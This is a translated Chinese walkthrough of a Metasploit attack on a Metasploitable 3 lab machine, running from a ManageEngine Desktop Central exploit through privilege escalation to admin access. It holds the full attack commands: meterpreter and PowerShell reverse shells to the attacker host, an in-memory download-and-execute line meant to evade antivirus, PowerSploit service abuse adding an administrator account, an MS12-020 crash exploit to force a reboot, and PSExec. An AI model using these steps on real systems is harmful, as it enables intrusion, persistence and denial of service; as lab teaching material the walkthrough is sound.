Metasploit 演练

我们在8022端口上找到一个Apache网络服务器。我们来看下。打开firefox并输入IP地址+端口:192.168.0.205:8022。 我们知道Desktop Central 9软件在端口8022上运行。谷歌一下,立马可以知道有一个exploit可用!

Metasploit 演练_第1张图片

第2步:利用一个服务获取一个shell

现在我们已经发现了一个易受攻击的服务和一个可用的exploit,开始exploit这个机器:

通过在终端中运行msfconsole启动Metasploit,或单击快捷方式。 您可以通过输入以下内容找到上述我们发现的漏洞的路径:

Metasploit 演练_第2张图片

search ManageEngine

执行搜索命令后,通过谷歌发现了Manage Engine Desktop Central 9漏洞。

Metasploit 演练_第3张图片

要开始使用漏洞,路径在上图中已标明。 您可以tab键自动填充。

use exploit/windows/http//manageengine_connectionid_write

现在exploit被加载了。 就我来说,我总是运行show options 来查看哪些设置可用,哪些是必需的。 我们在这里看到3个必需的设置:

RHOST:目标地址。 这将是我们的目标主机的IP地址 - 192.168.0.206

RPORT:目标端口。 在我们的Nmap portscan期间,我们发现服务在8022运行。

TARGETURI :Desktop Central软件的路径。 离开这是标准设置。

要设置您自己的设置,您需要执行set SETTING value,例如:

set RHOST 192.168.0.206set RPORT 8022

Metasploit 演练_第4张图片

理解vulnerability,payloadexploit之间的区别很重要。payload是您希望执行的实际代码,而exploit是提供payload的一种方式。一个vulnerability是系统中的一个弱点,允许exploit利用。如果你拿火箭的比喻,那么火箭就是exploit,而弹头是payload,造成实际的伤害。

现在我们设置了exploit,我们需要附加一个payload。通常,我们的payload为我们产生了一个反向shell,允许我们与目标系统进行交互。这意味着我们将在目标机器上执行一段特定代码,向我们返回一个shell(命令行)。在攻击Windows机器时可能会产生不同的shell,例如Windows命令行或Windows

PowerShell。

一个非常有趣的payload是meterpreteter,因为它能够产生不止一个shell。 Meterpreter是一种高级多功能的payload,优于其他payload,因为与执行一个命令的其他payload(例如添加用户或产生一个shell)相反,meterpreter可以被视为一个交互式的shell,允许您下载/上传文件,dump 哈希密码,生成shell,安装后门,特权升级等等。

meterpeter另一个显著的优点是在现有流程中只使用DLL注入而完全驻留在内存中,而不会和磁盘有接触。此外,它可以从一个进程迁移到另一个进程,从而使检测变得非常困难。为了执行任务,它不会创建其他可以被Antiviruses或Itrusion

Detection Systems轻松接管的进程。

要将一个 meterpreter payload附加到我们的exploit上,请使用以下命令:

set payload windows/meterpreter/reverse_tcp

如果现在再次运行 show options ,您将看到payload选项是可见的:

LHOST: Meterpreter将连接的主机。 这将是我们自己的Kali VM 192.168.0.241的地址。

LHOST: Meterpreter连接的端口。 选择您喜欢的任何可用端口或者4444端口上。

将我们的监听地址设置为我们自己的地址:

set LHOST 192.168.0.241

Metasploit 演练_第5张图片

我们打算利用这个exploit。 只需输入:

exploit

如下面的屏幕截图所示,您可以看到这个漏洞利用工具,payload被激活,并为我们提供了一个meterpreter shell 。 要检查我们当前的权限, 键入getuid。 不幸的是,我们只有一个较低的权限shell。

Metasploit 演练_第6张图片

因为我们只有一个较低权限的shell,有限的访问权限,我们需要提升权限为了完全控制机器。 有许多命令可用,一般先尝试简单的方法。 执行getsystem尝试Meterpreter执行一些技巧,来尝试自动特权升级。 不幸的是,这次不行。 要产生一个本地shell(在Windows命令行下),只需输入shell即可。

Metasploit 演练_第7张图片

Powersploit是一个功能强大的Windows权限升级框架,在Powershell中编写。 下载并解压桌面上的压缩文件Powersploit。 我们将使用PowerShell启动一个Web服务器,所以很容易就可以通过meterpreter shell调用它们。 找到到解压缩的文件夹,并通过以下命令启动Web服务器:

我们打算引发这个漏洞。 只需输入:

python -m SimpleHTTPServer

Metasploit 演练_第8张图片

回到我们的Meterpreter会话。 在Meterpreter中可以产生一个Powershell shell,但是如果您立即使用 payload 会产生一个反向的PowerShell,那么加载诸如Powersploit之类的脚本要容易得多。

为此,我们将退出 meterpreter 会话,并通过输入下面的命令,向我们的exploit添加一个PowerShell的 payload而不是 换一个 payload。 快速检查show options以验证收听地址是否仍然正确。

set payload windows/powershell_reverse_tcp

Metasploit 演练_第9张图片

我们有一个PowerShell会话! 您可以忽略Invoke-Expression错误。

Metasploit 演练_第10张图片

这是一个更高级的地方。

我们不能只将Powersploit下载到我们的目标系统,因为这样做可能会由 反病毒系统触发警报。

为了避免这种情况,我们将直接从刚刚创建的Web服务器下载脚本,并在内存中执行PowerSploit脚本,而不用接触磁盘。我们将使用PowerUp.ps1,它是一个特制的PowerShell脚本,PowerSploit框架的一部分。

要在内存中下载脚本,请在PowerShell中执行以下命令:

IEX(New-Object Net.WebClient).DownloadString("http://192.168.0.241:8000/Privesc/PowerUp.ps1")

接下来,我们从称为Invoke-AllChecks的脚本执行一个函数,该函数将检查目标主机的攻击向量以进行权限提升。 为了更容易阅读,我们将结果输出到一个名为allchecks.txt的文件里。

Invoke-AllChecks | Out-File allchecks.txt

要查看结果,打开一个新的终端,并启动一个新的Metasploit实例,并再次获取meterpretershell(保存我们以前的会话而不是终止它)。

要做到这一点,请重复上次执行的步骤,但选择另一个监听端口,因为我们已经在我们的PowerShell会话中使用4444(参见下图左侧终端窗口)。

Metasploit 演练_第11张图片

现在我们有两个shell在同一目标主机上运行,一个PowerShell和一个meterpreter shell。要下载all-checks.txt文件,用 meterpreter 执行 download allchecks.txt。在这里下载allchecks.txt的副本。

您可以在allchecks.txt文件中查看,该脚本会检查目标系统是否有权限提升漏洞,例如unquoted servicepaths,可注入的DLL位置,无人参与的安装文件等。

让我们来关注这些unquoted servicepaths和服务可执行文件和参数权限。基本上,这些是错误配置的可以添加自定义命令的服务路径。由于服务由系统用户运行,这意味着我们的自定义命令也将作为系统用户执行。太好了!

但是,您还需要为这些服务配置错误的写访问权限添加您的自定义命令。

PowerSploit让你很容易地执行可能的漏洞滥用功能。例如,为了滥用Jenkins服务,我们需要执行以下命令:Install-ServiceBinary

-Name'jenkins'。不幸的是,在执行所有给定的命令之后,由于没有写访问权限,我们无法滥用一个功能。

也许PowerSploit没有捕获所有unquoted servicepaths。我们在打开的meterpreter shell中手动检查。首先通过执行shell获取Windows命令行。

执行以下命令:

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

使用这种方法,我们发现4种可能的漏洞服务。 其中一个服务,OpenSSHd不在PowerSploit列表中。 我们试图利用这项服务。

Metasploit 演练_第12张图片

通过在PowerShell中执行以下命令,尝试利用OpenSSHd服务。

我们看到PowerShell会话立即关闭。 有一些运气成分,不管怎样说这个命令安装了。

根据PowerSploit的文档,当使用密码Password123!的用户John下面的命令时会被添加到管理员组。

Install-ServiceBinary -Name 'OpenSSHd'

我们尝试用net stop OpenSSHd重新启动服务,并启动OpenSSHd,看看我们的命令是否启动。不幸的是,我们无法启动或停止服务。 我也很快验证了用户John是否被添加,但没有。

还有另一种重新启动服务的方式,这就是强制重新启动我们的目标主机。 我们来运行Nmap,看看主机是否容易受到一些攻击,强制重启。

Metasploit 演练_第13张图片

我们发现了CVE-2012-0002利用的MS12-020错误漏洞。

键入Metasploit控制台,我们的PowerShell刚刚关闭,并按照与上次相同的步骤:搜索漏洞利用,配置漏洞并执行它。

此漏洞利用一系列特制的RDP数据包发送到受影响的系统,导致其崩溃并重启。 (确保在启动此漏洞时留意您的Metasploitable 3 VM)

Metasploit 演练_第14张图片

您的活动Windows命令行shell将由于重新启动而结束。 当机器重新上线时,只需再次键入exploit,重新连接到mepreter shell。

Metasploit 演练_第15张图片

如果我们的exploit有效的话,通过执行shell并检查网络用户,生成Windows命令行。

有效! 我们创建了一个名为John的新用户,正是Administrators组的一部分。 我们从PowerSploit Readme知道他的密码是Password123!

Metasploit 演练_第16张图片
Metasploit 演练_第17张图片

下一步是使用我们的新Administrator实际登录并获取root shell。 让我们用的新的管理员详细信息尝试著名的PSExec漏洞。

Metasploit 演练_第18张图片

另一个很酷的技巧是产生一个远程桌面。 如果PSExec不起作用,对于枚举盒子或禁用防火墙(规则)可能非常有用。

本文由看雪翻译小组fyb波 翻译,来源 Dennis@Zero-Day

转载请注明来自看雪论坛

你可能感兴趣的:(Metasploit 演练)